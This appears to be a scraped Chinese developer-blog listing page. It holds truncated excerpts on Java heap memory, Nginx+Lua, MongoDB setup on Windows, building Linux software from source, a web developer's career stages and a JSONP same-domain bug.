大家知道, Java 除了那 8 种基本类型以外,其他都是对象类型(又称为引用类型)的数据。 JVM 会把程序创建的对象存放在堆空间中,那什么又是堆空间呢?其实,堆( Heap)是一个运行时的数据存储区,从它可以分配大小各异的空间。一般,运行时的数据存储区有堆( Heap)和堆栈( Stack),所以要先看它们里面可以分配哪些类型的对象实体,然后才知道如何均衡使用这两种存储区。一般来说,栈中存放的
第二章 Nginx+Lua开发入门
jinnianshilongnian
nginx lua
Nginx入门
本文目的是学习Nginx+Lua开发,对于Nginx基本知识可以参考如下文章:
nginx启动、关闭、重启
http://www.cnblogs.com/derekchen/archive/2011/02/17/1957209.html
agentzh 的 Nginx 教程
http://openresty.org/download/agentzh-nginx-tutor
MongoDB windows安装 基本命令
liyonghui160com
windows安装
安装目录:
D:\MongoDB\
新建目录
D:\MongoDB\data\db
4.启动进城:
cd D:\MongoDB\bin
mongod -dbpath D:\MongoDB\data\db
&n
Linux下通过源码编译安装程序
pda158
linux
一、程序的组成部分 Linux下程序大都是由以下几部分组成: 二进制文件:也就是可以运行的程序文件 库文件:就是通常我们见到的lib目录下的文件 配置文件:这个不必多说,都知道 帮助文档:通常是我们在linux下用man命令查看的命令的文档
二、linux下程序的存放目录 linux程序的存放目录大致有三个地方: /etc, /b
WEB开发编程的职业生涯4个阶段
shw3588
编程 Web 工作 生活
觉得自己什么都会
2007年从学校毕业,凭借自己原创的ASP毕业设计,以为自己很厉害似的,信心满满去东莞找工作,找面试成功率确实很高,只是工资不高,但依旧无法磨灭那过分的自信,那时候什么考勤系统、什么OA系统、什么ERP,什么都觉得有信心,这样的生涯大概持续了约一年。
根本不是自己想的那样
2008年开始接触很多工作相关的东西,发现太多东西自己根本不会,都需要去学,不管是asp还是js,
遭遇jsonp同域下变作post请求的坑
vb2005xu
jsonp 同域post
今天迁移一个站点时遇到一个坑爹问题,同一个jsonp接口在跨域时都能调用成功,但是在同域下调用虽然成功,但是数据却有问题. 此处贴出我的后端代码片段
$mi_id = htmlspecialchars(trim($_GET['mi_id ']));
$mi_cv = htmlspecialchars(trim($_GET['mi_cv ']));
贴出我前端代码片段:
$.aj